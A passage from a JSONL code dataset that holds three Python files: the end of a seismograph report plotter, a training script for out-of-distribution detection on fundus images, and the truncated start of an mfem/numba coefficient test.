'+f\"{bnsestd:.3E}\"+' J/kg', color='g', size='small')\r\nfig.text(0.51, 0.18, '3SD = '+f\"{(3*bnsestd):.3E}\"+' J/kg', color='g', size='small')\r\nfig.text(0.51, 0.17, 'BN parameters:', size='small')\r\nfig.text(0.51, 0.16, 'Minimum SD over:', size='small')\r\nfig.text(0.51, 0.15, 'Start: Event time - '+str(bnS)+' s.',size='small')\r\nfig.text(0.51, 0.14, 'End: Event time + '+str(bnE)+' s.',size='small')\r\nfig.text(0.51, 0.13, 'BN Sample size = '+str(bnsamp)+' s.',size='small')\r\n\r\n# plot traces\r\nax1.plot(st[0].times(reftime=eventTime), st[2].data, lw=1, color='b') # displacement waveform\r\nax1.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nax1.yaxis.set_minor_locator(AutoMinorLocator(5))\r\n# ax1.set_ylim(-2e-8,2e-8) # set manual y limits for displacement- comment this out for autoscaling\r\nax1.margins(x=0)\r\nax2.plot(st[0].times(reftime=eventTime), st[0].data, lw=1, color='g') # velocity Waveform\r\nax2.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nax2.yaxis.set_minor_locator(AutoMinorLocator(5))\r\n# ax2.set_ylim(-1e-7,1e-7) # set manual y limits for velocity - comment this out for autoscaling\r\nax2.margins(x=0)\r\nax3.plot(st[0].times(reftime=eventTime), st[1].data, lw=1, color='r') # acceleration waveform\r\nax3.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nax3.yaxis.set_minor_locator(AutoMinorLocator(5))\r\n# ax3.set_ylim(-5e-7,5e-7) # set manual y limits for acceleration - comment this out for auto scaling\r\nax3.margins(x=0)\r\nax4.specgram(x=rawtrace, NFFT=128, noverlap=64, Fs=100, cmap='viridis') # velocity spectrogram\r\nax4.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nax4.set_yscale('log') # set logarithmic y scale - comment this out for linear scale\r\nax4.set_ylim(0.5,50) # limits for log scale\r\n# plot filter limits on spectrogram\r\nax4.axhline(y=filt[1], lw=1, color='r', linestyle='dotted')\r\nax4.axhline(y=filt[2], lw=1, color='r', linestyle='dotted')\r\nax6.plot(st[0].times(reftime=eventTime), (st[0].data*st[0].data+st[1].data*st[1].data+st[2].data*st[2].data)/2, lw=1, color='purple', linestyle=':') #specific kinetic energy Waveform\r\nax6.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nax6.yaxis.set_minor_locator(AutoMinorLocator(5))\r\n# ax6.set_ylim(0,5e-15) # set manual y limits for energy - comment this out for autoscaling\r\nax6.margins(x=0)\r\n\r\n#plot either PSD or FFT plot\r\nif psd:\r\n #calculate NFFT for PSD\r\n if duration >= 82:\r\n nfft = 8192\r\n else:\r\n nfft = duration*100\r\n # ax5.psd(x=rawtrace[0], NFFT=512, noverlap=0, Fs=100, color='k', lw=1) # velocity PSD raw data\r\n ax5.psd(x=st[2], NFFT=nfft, noverlap=0, Fs=100, color='b', label='EHZ', lw=1) # displacement PSD filtered\r\n ax5.psd(x=st[1], NFFT=nfft, noverlap=0, Fs=100, color='r', label='EHN', linestyle='--', lw=1) # velocity PSD filtered\r\n ax5.psd(x=st[0], NFFT=nfft, noverlap=0, Fs=100, color='g', label='EHE', linestyle='-.', lw=1) # acceleration PSD filtered\r\n ax5.legend(fontsize='x-small')\r\n ax5.set_xscale('log') #use logarithmic scale on PSD\r\n # plot filter limits on PSD\r\n ax5.axvline(x=filt[1], linewidth=1, linestyle='dotted', color='r')\r\n ax5.axvline(x=filt[2], linewidth=1, linestyle='dotted', color='r')\r\n ax5.set_xlim(0.1, int(filt[2]+1))\r\n ax5.set_ylabel(\"PSD, dB\",size='small')\r\n secax_x5 = ax5.secondary_xaxis('top', functions=(one_over, inverse)) #PSD secondary axis\r\n secax_x5.set_xlabel('P e r i o d , s', size='small', alpha=0.5, labelpad=-9)\r\nelse:\r\n # fourier analysis plot\r\n #rfft = np.fft.rfft(rawtrace[0].data)\r\n ehzfft = np.fft.rfft(st[2].data)\r\n ehnfft = np.fft.rfft(st[1].data)\r\n ehefft = np.fft.rfft(st[0].data)\r\n xfft = np.fft.rfftfreq(st[0].data.size, d = 1/100)\r\n #ax5.plot(xfft, abs(rfft), color='k', lw=1, label='Unfiltered EHZ')\r\n ax5.plot(xfft, abs(ehzfft), color='b', lw=1, label='EHZ')\r\n ax5.plot(xfft, abs(ehnfft), color='r', lw=1, label='EHN')\r\n ax5.plot(xfft, abs(ehefft), color='g', lw=1, label='EHE')\r\n ax5.legend(frameon=False, fontsize='x-small')\r\n #ax5.set_xscale('log') #use logarithmic scale on PSD\r\n #ax5.set_yscale('linear')\r\n #ax5.set_yscale('log')\r\n #plot filter limits on PSD\r\n ax5.axvline(x=filt[1], linewidth=1, linestyle='dotted', color='r')\r\n ax5.axvline(x=filt[2], linewidth=1, linestyle='dotted', color='r')\r\n ax5.set_xlim(0.1, int(filt[2])+1)\r\n ax5.set_ylabel(\"FFT\",size='small')\r\n\r\n#plot background noise limits\r\nplot_noiselims(ax1, bnZstd, -bnZstd) # displacement noise limits - comment out if not desired\r\nplot_noiselims(ax2, bnEstd, -bnEstd) # velocity noise limits - comment out if not desired\r\nplot_noiselims(ax3, bnNstd, -bnNstd) # acceleration noise limits - comment out if not desired\r\nplot_se_noiselims(ax6, bnsestd) # specific kinetic energy noise limits - comment out if not desired\r\n\r\n# plot Signal envelopes\r\nif plot_envelopes:\r\n ax1.plot(st[0].times(reftime=eventTime), z_env, 'b:') # displacement envelope\r\n ax2.plot(st[0].times(reftime=eventTime), e_env, 'g:') # velocity envelope\r\n ax3.plot(st[0].times(reftime=eventTime), n_env, 'r:') # acceleration envelope\r\n# envelope for specific kinetic plot IS the specific energy graph.\r\n# Energy is a scalar, so in vibrations alternates between kinetic and potential energy states.\r\nax6.plot(st[0].times(reftime=eventTime), se_env, 'purple', label='Total') # specific energy envelope\r\nax6.plot(st[0].times(reftime=eventTime), z_env*z_env/2, 'b', label='EHZ') # specific energy in vertical direction\r\nax6.plot(st[0].times(reftime=eventTime), n_env*n_env/2, 'r', label='EHN') # specific energy in North/South direction\r\nax6.plot(st[0].times(reftime=eventTime), e_env*e_env/2, 'g', label='EHE') # specific energy in East/West direction\r\nax6.legend(fontsize='x-small')\r\n\r\n# plot secondary axes - set time interval (dt) based on the duration to avoid crowding\r\nif duration <= 90:\r\n dt=10 #10 seconds\r\nelif duration <= 180:\r\n dt=20 #20 seconds\r\nelif duration <= 270:\r\n dt=30 #30 seconds\r\nelif duration <= 540:\r\n dt=60 #1 minute\r\nelif duration <= 1080:\r\n dt=120 #2 minutes\r\nelif duration <= 2160:\r\n dt=240 #4 minutes\r\nelse:\r\n dt=300 #5 minutes\r\ntbase = start - start.second +(int(start.second/dt)+1)*dt # find the first time tick\r\n\r\n# clear the first tick if it will overprint the Y axis scale factor\r\nif tbase-start < duration/10:\r\n clear1tick = True\r\nelse:\r\n clear1tick = False\r\n \r\ntlabels = [] #initialise a blank array of time labels\r\ntticks = [] #initialise a blank array of time ticks\r\nsticks = [] #initialise a blank array for spectrogram ticks\r\nnticks = int(duration/dt) #calculate the number of ticks\r\nfor k in range (0, nticks):\r\n if k==0 and clear1tick:\r\n tlabels.append('')\r\n elif dt >= 60: #build the array of time labels - include UTC to eliminate the axis label\r\n tlabels.append((tbase+k*dt).strftime('%H:%M UTC')) #drop the seconds if not required for readability\r\n else:\r\n tlabels.append((tbase+k*dt).strftime('%H:%M:%SUTC')) #include seconds where required\r\n tticks.append(uTC2time(tbase+k*dt)) #build the array of time ticks\r\n sticks.append(uTC2time(tbase+k*dt)-delay) #build the array of time ticks for the spectrogram\r\nsecax_x1 = ax1.secondary_xaxis('top') #Displacement secondary axis\r\nsecax_x1.set_xticks(ticks=tticks)\r\nsecax_x1.set_xticklabels(tlabels, size='small', va='center_baseline')\r\nsecax_x1.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nsecax_x2 = ax2.secondary_xaxis('top') #Velocity secondary axis\r\nsecax_x2.set_xticks(ticks=tticks)\r\nsecax_x2.set_xticklabels(tlabels, size='small', va='center_baseline')\r\nsecax_x2.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nsecax_x3 = ax3.secondary_xaxis('top') #acceleration secondary axis\r\nsecax_x3.set_xticks(ticks=tticks)\r\nsecax_x3.set_xticklabels(tlabels, size='small', va='center_baseline')\r\nsecax_x3.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nsecax_x4 = ax4.secondary_xaxis('top') #spectrogram secondary axis\r\nsecax_x4.set_xticks(ticks=sticks)\r\nsecax_x4.set_xticklabels(tlabels, size='small', va='center_baseline')\r\nsecax_x4.xaxis.set_minor_locator(AutoMinorLocator(10))\r\nsecax_x6 = ax6.secondary_xaxis('top') #Specific Energy secondary axis\r\nsecax_x6.set_xticks(ticks=tticks)\r\nsecax_x6.set_xticklabels(tlabels, size='small', va='center_baseline')\r\nsecax_x6.xaxis.set_minor_locator(AutoMinorLocator(10))\r\n\r\n# add grid to graphs\r\nax1.grid(color='dimgray', ls = '-.', lw = 0.33)\r\nax2.grid(color='dimgray', ls = '-.', lw = 0.33)\r\nax3.grid(color='dimgray', ls = '-.', lw = 0.33)\r\nax4.grid(color='dimgray', ls = '-.', lw = 0.33)\r\nax5.grid(color='dimgray', ls = '-.', lw = 0.33)\r\nax6.grid(color='dimgray', ls = '-.', lw = 0.33)\r\nax1.grid(color='dimgray', which='minor', ls = ':', lw = 0.33)\r\nax2.grid(color='dimgray', which='minor', ls = ':', lw = 0.33)\r\nax3.grid(color='dimgray', which='minor', ls = ':', lw = 0.33)\r\nax5.grid(color='dimgray', which='minor', ls = ':', lw = 0.33)\r\nax6.grid(color='dimgray', which='minor', ls = ':', lw = 0.33)\r\n\r\n# plot map\r\nax8.coastlines(resolution='110m')\r\nax8.stock_img()\r\n# Create a feature for States/Admin 1 regions at 1:50m from Natural Earth to display state borders\r\nstates_provinces = cfeature.NaturalEarthFeature(\r\n category='cultural',\r\n name='admin_1_states_provinces_lines',\r\n scale='50m',\r\n facecolor='none')\r\nax8.add_feature(states_provinces, edgecolor='gray')\r\nax8.gridlines()\r\n# plot station position on map\r\nax8.plot(lonS, latS,\r\n color='red', marker='v', markersize=12, markeredgecolor='black',\r\n transform=ccrs.Geodetic(),\r\n )\r\n# plot event/earthquake position on map\r\nax8.plot(lonE, latE,\r\n color='yellow', marker='*', markersize=20, markeredgecolor='black',\r\n transform=ccrs.Geodetic(),\r\n )\r\n#plot dashed great circle line from event/earthquake to station\r\nax8.plot([lonS, lonE], [latS, latE],\r\n color='blue', linewidth=2, linestyle='--', \r\n transform=ccrs.Geodetic(),\r\n )\r\n\r\n# build array of arrival data\r\ny2 = 0.93 # start near middle of page but maximise list space\r\ndy = 0.01 # linespacing\r\nfig.text(0.505, y2, 'Phase',size='xx-small') # print headings\r\nfig.text(0.53, y2, 'Time',size='xx-small')\r\nfig.text(0.555, y2, 'UTC',size='xx-small')\r\npphases=[] # create an array of phases to plot\r\npfile='' # create phase names for filename\r\nalf=1.0 # set default transparency\r\nfor i in range (0, no_arrs): #print data array\r\n y2 -= dy\r\n if arrs[i].time >= delay and arrs[i].time < (delay+duration): # list entries in the plots are black\r\n alf=1.0\r\n else: # list entries not in plots are greyed out\r\n alf=0.5\r\n fig.text(0.505, y2, arrs[i].name, size='xx-small', alpha=alf) # print phase name\r\n fig.text(0.53, y2, str(round(arrs[i].time,3))+'s', size='xx-small', alpha=alf) # print arrival time\r\n arrtime = eventTime + arrs[i].time\r\n fig.text(0.555, y2, arrtime.strftime('%H:%M:%S'), size='xx-small', alpha=alf)\r\n if allphases or (arrs[i].time >= delay and arrs[i].time < (delay+duration)): # build the array of phases\r\n pphases.append(arrs[i].name)\r\n pfile += ' '+arrs[i].name\r\ny2 -= 2*dy \r\nfig.text(0.505, y2, str(no_arrs)+' arrivals total.', size='xx-small') # print number of arrivals\r\n\r\nprint(pphases) # print the phases to be plotted on ray path diagram\r\n\r\nif allphases or (rayt >= delay and rayt <= (delay+duration)):\r\n y2 -= 2*dy\r\n fig.text(0.505, y2, 'Rayleigh', size='xx-small')\r\n y2 -= dy\r\n fig.text(0.505, y2, 'Surface Wave: '+str(round(rayt,1))+'s:', size='xx-small')\r\n arrtime = eventTime + rayt\r\n fig.text(0.555, y2, arrtime.strftime('%H:%M:%S UTC'), size='xx-small')\r\n \r\n# print phase key\r\ny2 = 0.62 # line spacing\r\nfig.text(0.98, y2, 'Phase Key', size='small', ha='right') # print heading\r\npkey = ['P: compression wave', 'p: strictly upward compression wave', 'S: shear wave', 's: strictly upward shear wave', 'K: compression wave in outer core', 'I: compression wave in inner core', 'c: reflection off outer core', 'diff: diffracted wave along core mantle boundary', 'i: reflection off inner core', 'n: wave follows the Moho (crust/mantle boundary)']\r\nfor i in range (0, 10):\r\n y2 -=dy\r\n fig.text(0.98, y2, pkey[i], size='x-small', ha='right') # print the phase key\r\n\r\n#plot phase arrivals\r\nplot_arrivals(ax1,0) # plot arrivals on displacement plot\r\nplot_arrivals(ax2,0) # plot arrivals on velocity plot\r\nplot_arrivals(ax3,0) # plot arrivals on acceleration plot\r\nplot_arrivals(ax4,delay) # plot arrivals on spectrogram plot\r\nplot_arrivals(ax6,0) # plot arrivals on energy plot\r\n\r\n# set up some plot details\r\nax1.set_ylabel(\"EHZ Velocity, m/s\", size='small')\r\nax1.set_xlabel('Seconds after Event, s', size='small', labelpad=0)\r\nax2.set_ylabel(\"EHE Velocity, m/s\", size ='small')\r\nax2.set_xlabel('Seconds after Event, s', size='small', labelpad=0)\r\nax3.set_ylabel(\"EHN Velocity, m/s\", size='small') \r\nax3.set_xlabel('Seconds after Event, s', size='small', labelpad=0)\r\nax4.set_ylabel(\"EHZ Vel. Frequency, Hz\", size='small')\r\nax4.set_xlabel('Seconds after Start of Trace, s', size='small', labelpad=0)\r\nax5.set_xlabel('Frequency, Hz', size='small', labelpad=0)\r\nax6.set_ylabel('Specific Energy, J/kg', size='small')\r\nax6.set_xlabel('Seconds after Event, s', size='small', labelpad=0)\r\n\r\n# get the limits of the y axis so text can be consistently placed\r\nax4b, ax4t = ax4.get_ylim()\r\nax4.text(2, ax4t*0.6, 'Plot Start Time: '+start.strftime(' %d/%m/%Y %H:%M:%S.%f UTC (')+str(delay)+' seconds after event).', size='small') # explain difference in x time scale\r\n\r\n# adjust subplots for readability\r\nplt.subplots_adjust(hspace=0.5, wspace=0.1, left=0.05, right=0.95, bottom=0.05, top=0.92)\r\n\r\n#plot the ray paths\r\narrivals = model.get_ray_paths(depth, great_angle_deg, phase_list=pphases) # calculate the ray paths\r\nax7 = arrivals.plot_rays(plot_type='spherical', ax=ax7, fig=fig, phase_list=pphases, show=False, legend=True) #plot the ray paths\r\nif allphases:\r\n fig.text(0.91, 0.71, 'Show All Phases', size='small')\r\nelse:\r\n fig.text(0.91, 0.71, 'Show Phases\\nVisible in Traces', size='small')\r\nif great_angle_deg > 103 and great_angle_deg < 143:\r\n ax7.text(great_angle_rad,6000, 'Station in P and\\nS wave shadow', size='x-small', rotation=180-great_angle_deg, ha='center', va='center')\r\nelif great_angle_deg >143:\r\n ax7.text(great_angle_rad,6000, 'Station in S\\nwave shadow', size='x-small', rotation=180-great_angle_deg, ha='center', va='center')\r\n \r\n# label Station\r\nax7.text(great_angle_rad,7000, stn, ha='center', va='center', alpha=.7, size='small', rotation= -great_angle_deg)\r\n \r\n# add boundary depths\r\nax7.text(math.radians(315),5550, '660km', ha='center', va='center', alpha=.7, size='small', rotation=45)\r\nax7.text(math.radians(315),3300, '2890km', ha='center', va='center', alpha=.7, size='small', rotation=45)\r\nax7.text(math.radians(315),1010, '5150km', ha='center', va='center', alpha=.7, size='small', rotation=45)\r\n\r\n# Annotate regions\r\nax7.text(0, 0, 'Solid\\ninner\\ncore',\r\n horizontalalignment='center', verticalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0.7))\r\nocr = (model.model.radius_of_planet -\r\n (model.model.s_mod.v_mod.iocb_depth +\r\n model.model.s_mod.v_mod.cmb_depth) / 2)\r\nax7.text(math.radians(180), ocr, 'Fluid outer core',\r\n horizontalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0.7))\r\nmr = model.model.radius_of_planet - model.model.s_mod.v_mod.cmb_depth / 2\r\nax7.text(math.radians(180), mr, 'Solid mantle',\r\n horizontalalignment='center',\r\n bbox=dict(facecolor='white', edgecolor='none', alpha=0.7))\r\n\r\n# create phase identifier for filename\r\nif allphases:\r\n pfile = ' All'\r\n\r\n# print filename on bottom left corner of diagram\r\nfilename = pics+'M'+str(mag)+'Quake '+locE+eventID+eventTime.strftime('%Y%m%d %H%M%S UTC'+stn+pfile+'.png')\r\nfig.text(0.02, 0.01,filename, size='x-small')\r\n\r\n# save the final figure\r\nif save_plot:\r\n plt.savefig(filename)\r\n\r\n# show the final figure\r\nplt.show()\r\n","repo_name":"sheeny72/RPiSandB","sub_path":"Q3DSEReport.py","file_name":"Q3DSEReport.py","file_ext":"py","file_size_in_byte":33661,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"8990825759","text":"from random import Random\nfrom xml.dom.minidom import ReadOnlySequentialNamedNodeMap\nfrom cv2 import transform\nimport numpy as np\nimport pandas as pd\nimport os\nimport argparse\nimport time\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nimport torchvision.transforms as T\nimport torchvision.datasets as datasets\nimport torch.nn.functional as F\nfrom tqdm import tqdm\nfrom torchvision.models import resnet50\nfrom torchvision.datasets import ImageFolder\nfrom torch.utils.data import Dataset, DataLoader\nfrom datasets.ood_dataset import Ood_Dataset\nfrom datasets.ood_dataset import ID_Dataset\nfrom model.model import ResNet50, ResNet50_1\nfrom torch.utils.data import RandomSampler, BatchSampler\nfrom itertools import cycle\nfrom torchvision.datasets import ImageFolder\nfrom sklearn import metrics\n\nparser = argparse.ArgumentParser(description='Trains a OOD Classifier',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n# parser.add_argument('--calibration', '-c', action='store_true',\n# help='Train a model to be used for calibration. This holds out some data for validation.')\n# Optimization options\nparser.add_argument('--dataset', type=str, default='fundus_oct_imagenet')\nparser.add_argument('--model', '-m', type=str, default='resnet50', help='Choose architecture.')\nparser.add_argument('--epochs', '-e', type=int, default=10, help='Number of epochs to train.')\nparser.add_argument('--learning_rate', '-lr', type=float, default=0.01, help='The initial learning rate.')\nparser.add_argument('--batch_size', '-b', type=int, default=128, help='Batch size.')\nparser.add_argument('--oe_batch_size', type=int, default=128, help='Batch size.')\nparser.add_argument('--test_bs', type=int, default=200)\nparser.add_argument('--momentum', type=float, default=0.9, help='Momentum.')\nparser.add_argument('--decay', '-d', type=float, default=0.0005, help='Weight decay (L2 penalty).')\n# WRN Architecture\nparser.add_argument('--droprate', default=0.3, type=float, help='dropout probability')\n# Checkpoints\nparser.add_argument('--save', '-s', type=str, default='./snapshots/oe_scratch', help='Folder to save checkpoints.')\nparser.add_argument('--load', '-l', type=str, default='', help='Checkpoint path to resume / test.')\nparser.add_argument('--test', '-t', action='store_true', help='Test only flag.')\n# Acceleration\nparser.add_argument('--ngpu', type=int, default=4, help='0 = CPU.')\nparser.add_argument('--prefetch', type=int, default=4, help='Pre-fetching threads.')\nargs = parser.parse_args()\n\nstate = {k: v for k, v in args._get_kwargs()}\nprint(state)\n\ntorch.manual_seed(1)\nnp.random.seed(1)\n\ndef collate_fn(batch):\n data_list, label_list = [], []\n for _data, _label in batch:\n data_list.append(_data)\n label_list.append(_label)\n data_list = torch.cat(data_list)\n return torch.Tensor(data_list), torch.LongTensor(label_list)\n\n# TODO: augmentation add, naming: train_transfor, val_transform\n\ntrain_transform = T.Compose([T.ToTensor(), T.Resize((256, 256))])\n\nfundus_train = '/home/minsungkim/FUNDUS_RESEARCH/visualization/ood_detection/data/binary_fundus_train.csv'\nfundus_val = '/home/minsungkim/FUNDUS_RESEARCH/visualization/ood_detection/data/binary_fundus_val.csv'\nuwf_train = '/home/minsungkim/FUNDUS_RESEARCH/visualization/ood_detection/data/uwf_train.csv'\nuwf_val = '/home/minsungkim/FUNDUS_RESEARCH/visualization/ood_detection/data/uwf_val.csv'\n\n# in-distribution data: fundus images\nfundus_train = ID_Dataset(fundus_train, transform=train_transform)\nfundus_val = ID_Dataset(fundus_val, transform=train_transform)\n\n# out-of-distribution data: ultra-wide fundus(uwf)\nuwf_train = Ood_Dataset(uwf_train, transform=train_transform)\nuwf_val = Ood_Dataset(uwf_val, transform=train_transform)\n\n# val_data: concat(fundus_val, uwf_val)\nval_data = torch.utils.data.ConcatDataset([fundus_val, uwf_val])\n\n\ntrain_loader_in = torch.utils.data.DataLoader(\n fundus_train,\n batch_size=args.batch_size, shuffle=True,\n num_workers=args.prefetch, pin_memory=True)\n\ntrain_loader_out = torch.utils.data.DataLoader(\n uwf_train,\n batch_size=args.oe_batch_size, shuffle=True,\n num_workers=args.prefetch, pin_memory=True)\n\nval_loader = torch.utils.data.DataLoader(\n val_data,\n batch_size=args.batch_size, shuffle=False,\n num_workers=args.prefetch, pin_memory=True)\n\nfundus_val_loader = torch.utils.data.DataLoader(\n fundus_val,\n batch_size=args.batch_size, shuffle=False,\n num_workers=args.prefetch, pin_memory=True)\n\nuwf_val_loader = torch.utils.data.DataLoader(\n uwf_val,\n batch_size=args.batch_size, shuffle=False,\n num_workers=args.prefetch, pin_memory=True)\n\n\n\n# Create model\nnet = ResNet50()\n\nstart_epoch = 0\n\n# Restore model if desired\nif args.load != '':\n for i in range(1000 - 1, -1, -1):\n model_name = os.path.join(args.load, args.dataset + calib_indicator + '_' + args.model +\n '_oe_scratch_epoch_' + str(i) + '.pt')\n if os.path.isfile(model_name):\n net.load_state_dict(torch.load(model_name))\n print('Model restored! Epoch:', i)\n start_epoch = i + 1\n break\n if start_epoch == 0:\n assert False, \"could not resume\"\n\nif args.ngpu > 1:\n # net = torch.nn.DataParallel(net, device_ids=list(range(args.ngpu)))\n os.environ['CUDA_DEVICE_ORDER'] = 'PCI_BUS_ID'\n os.environ['CUDA_VISIBLE_DEVICES'] = '0, 1, 2, 3, 4, 5, 6, 7'\n net = torch.nn.DataParallel(net)\n\n\nif args.ngpu > 0:\n net.cuda()\n torch.cuda.manual_seed(1)\n\ncudnn.benchmark = True # fire on all cylinders\n\noptimizer = torch.optim.SGD(\n net.parameters(), state['learning_rate'], momentum=state['momentum'],\n weight_decay=state['decay'], nesterov=True)\n\n\ndef cosine_annealing(step, total_steps, lr_max, lr_min):\n return lr_min + (lr_max - lr_min) * 0.5 * (\n 1 + np.cos(step / total_steps * np.pi))\n\n\nscheduler = torch.optim.lr_scheduler.LambdaLR(\n optimizer,\n lr_lambda=lambda step: cosine_annealing(\n step,\n args.epochs * len(train_loader_in),\n 1, # since lr_lambda computes multiplicative factor\n 1e-6 / args.learning_rate))\n\n\n# /////////////// Training ///////////////\n\ndef train():\n net.train() # enter train mode\n loss_avg = 0.0\n # start at a random point of the outlier dataset; this induces more randomness without obliterating locality\n train_loader_out.dataset.offset = np.random.randint(len(train_loader_out.dataset))\n for in_set, out_set in (zip(tqdm(train_loader_in), cycle(train_loader_out))):\n # for out_set, in_set in (zip(tqdm(train_loader_out), train_loader_in)):\n data = torch.cat((in_set[0], out_set[0]), 0)\n target = in_set[1]\n\n data, target = data.cuda(), target.cuda()\n\n # forward\n x = net(data)\n\n # backward\n optimizer.zero_grad()\n\n loss = F.cross_entropy(x[:len(in_set[0])], target)\n\n # cross-entropy from softmax distribution to uniform distribution\n loss += 0.5 * -(x[len(in_set[0]):].mean(1) - torch.logsumexp(x[len(in_set[0]):], dim=1)).mean()\n\n loss.backward()\n optimizer.step()\n\n # exponential moving average\n loss_avg = loss_avg * 0.8 + float(loss) * 0.2\n\n scheduler.step()\n state['train_loss'] = loss_avg\n \n\n# test function\ndef test():\n net.eval()\n loss_avg = 0.0\n correct = 0\n with torch.no_grad():\n for data, target in val_loader:\n data, target = data.cuda(), target.cuda()\n\n # forward\n output = net(data)\n\n loss = F.cross_entropy(output, target)\n \n # accuracy\n pred = output.data.max(1)[1]\n\n correct += pred.eq(target.data).sum().item()\n\n # test loss average\n loss_avg += float(loss.data)\n \n state['val_loss'] = loss_avg / len(val_loader)\n state['val_accuracy'] = correct / len(val_loader.dataset)\n\n\nif args.test:\n test()\n print(state)\n exit()\n\n# Make save directory\nif not os.path.exists(args.save):\n os.makedirs(args.save)\nif not os.path.isdir(args.save):\n raise Exception('%s is not a dir' % args.save)\n\n\nwith open(os.path.join(args.save, args.dataset + '_' + args.model +\n '_oe_scratch_training_results.csv'), 'w') as f:\n # f.write('epoch,time(s),train_loss,val_loss,val_error(%)\\n')\n f.write('epoch,time(s),train_loss,val_loss,val_acc\\n')\n\nprint('Beginning Training\\n')\n\n# Main loop\nfor epoch in range(start_epoch, args.epochs):\n state['epoch'] = epoch\n\n begin_epoch = time.time()\n\n train()\n test()\n\n # Save model\n torch.save(net.state_dict(),\n os.path.join(args.save, args.dataset + '_' + args.model +\n '_oe_scratch_epoch_' + str(epoch) + '.pt'))\n\n\n prev_path = os.path.join(args.save, args.dataset + '_' + args.model +\n '_oe_scratch_epoch_' + str(epoch - 1) + '.pt')\n\n\n if os.path.exists(prev_path): os.remove(prev_path)\n\n # Show results\n with open(os.path.join(args.save, args.dataset + '_' + args.model +\n '_oe_scratch_training_results.csv'), 'a') as f:\n f.write('%03d,%05d,%0.6f,%0.5f,%0.5f\\n' % (\n (epoch + 1),\n time.time() - begin_epoch,\n state['train_loss'],\n state['val_loss'],\n state['val_accuracy'],\n # 100 - 100. * state['val_accuracy'] # val_error(%)\n )) \n\n print('Epoch {0:3d} | Time {1:5d} | Train Loss {2:.4f} | Val Loss {3:.3f} | Val Acc {4:.2f}'.format(\n (epoch + 1),\n int(time.time() - begin_epoch),\n state['train_loss'],\n state['val_loss'],\n state['val_accuracy'])\n )","repo_name":"MKim1215/fundus_ood","sub_path":"oe_scratch.py","file_name":"oe_scratch.py","file_ext":"py","file_size_in_byte":9770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30687811762","text":"from __future__ import print_function\nfrom numba import cfunc, farray, carray\nimport os\nfrom os.path import expanduser, join\nimport sys\nimport io\nfrom mfem import path as mfem_path\nimport numpy as np\nimport numba\nimport time\n\n\nif len(sys.argv) > 1 and sys.argv[1] == '-p':\n import mfem.par as mfem\n use_parallel = True\n from mfem.common.mpi_debug import nicePrint\n from mpi4py import MPI\n myid = MPI.COMM_WORLD.rank\n\nelse:\n import mfem.ser as mfem\n use_parallel = False\n myid = 0\n nicePrint = print\n\n\nclass s_coeff(mfem.PyCoefficient):\n def __init__(self):\n mfem.PyCoefficient.__init__(self)\n\n def EvalValue(self, p):\n return p[0]\n\n\nclass v_coeff(mfem.VectorPyCoefficient):\n def __init__(self, dim):\n mfem.VectorPyCoefficient.__init__(self, dim)\n\n def EvalValue(self, p):\n return (p[0], p[1], p[2])\n\n\nclass m_coeff(mfem.MatrixPyCoefficient):\n def __init__(self, dim):\n mfem.MatrixPyCoefficient.__init__(self, dim)\n\n def EvalValue(self, p):\n return np.array([[p[0], p[1], p[2]],\n [0.0, p[1], p[2]],\n [0.0, 0.0, p[2]]])\n\n\n@cfunc(\"float64(float64, float64, float64)\")\ndef s_func0(x, y, z):\n return x\n\n\ndef s_func1(x, y, z):\n return x\n\n\ns_func0 = cfunc(\"float64(float64, float64, float64)\")(s_func1)\n\n\n@cfunc(mfem.scalar_sig, cache=False)\ndef s_func(ptx, sdim):\n return s_func0(ptx[0], ptx[1], ptx[2])\n\n\n@cfunc(mfem.vector_sig)\ndef v_func(ptx, out, sdim, vdim):\n out_array = carray(out, (vdim, ))\n for i in range(sdim):\n out_array[i] = ptx[i]\n\n\n@cfunc(mfem.matrix_sig)\ndef m_func(ptx, out, sdim, vdim):\n # we use farray to assign the data like above.\n # note out is zero-ed in wrapper. so we don't need to\n # set zero here.\n out_array = farray(out, (vdim, vdim))\n out_array[0, 0] = ptx[0]\n out_array[0, 1] = ptx[1]\n out_array[0, 2] = ptx[2]\n #out_array[1, 0] = 0.0\n out_array[1, 1] = ptx[1]\n out_array[1, 2] = ptx[2]\n #out_array[2, 0] = 0.0\n #out_array[2, 1] = 0.0\n out_array[2, 2] = ptx[2]\n '''\n accessing the array linearly does not speed up.\n out_array = carray(out, (vdim * vdim, ))\n out_array[0] = ptx[0]\n out_array[1] = 0.0\n out_array[2] = 0.0\n out_array[3] = ptx[1]\n out_array[4] = ptx[1]\n out_array[5] = 0.0\n out_array[6] = ptx[2]\n out_array[7] = ptx[2]\n out_array[8] = ptx[2]\n '''\n\n# if dim is know, this provides a simpler way to use matrix coefficient\n\nd1 = mfem.ConstantCoefficient(3)\nd2 = mfem.VectorConstantCoefficient([1,2])\nd3 = mfem.MatrixConstantCoefficient([[30,40], [50, 60]])\n@mfem.jit.matrix(shape=(3,3), sdim=3, dependency=(d1,d2, d3, (d2,d2), d1))\ndef m_func2(p,d1, d2, d3, d4, d5):\n#@mfem.jit.matrix(shape=(3,3), sdim=3)\n#def m_func2(p):\n #out_array = farray(out, (3, 3))\n #out_array[0, 0] = ptx[0]\n #out_array[0, 1] = ptx[1]\n #out_array[0, 2] = ptx[2]\n #out_array[1, 1] = ptx[1]\n #out_array[1, 2] = ptx[2]\n #out_array[2, 2] = ptx[2]\n print(d2[0], d2[1], d1, d3[0,0], d3[0,1], d3[1, 0], d3[1,1], d4[0], d4[1], d5)\n return np.array([[p[0], p[1], p[2]],\n [0.0, p[1], p[2]],\n [0.0, 0.0, p[2]]])\n\n\ndef check(a, b, msg):\n assert len(a) == len(b), msg\n assert 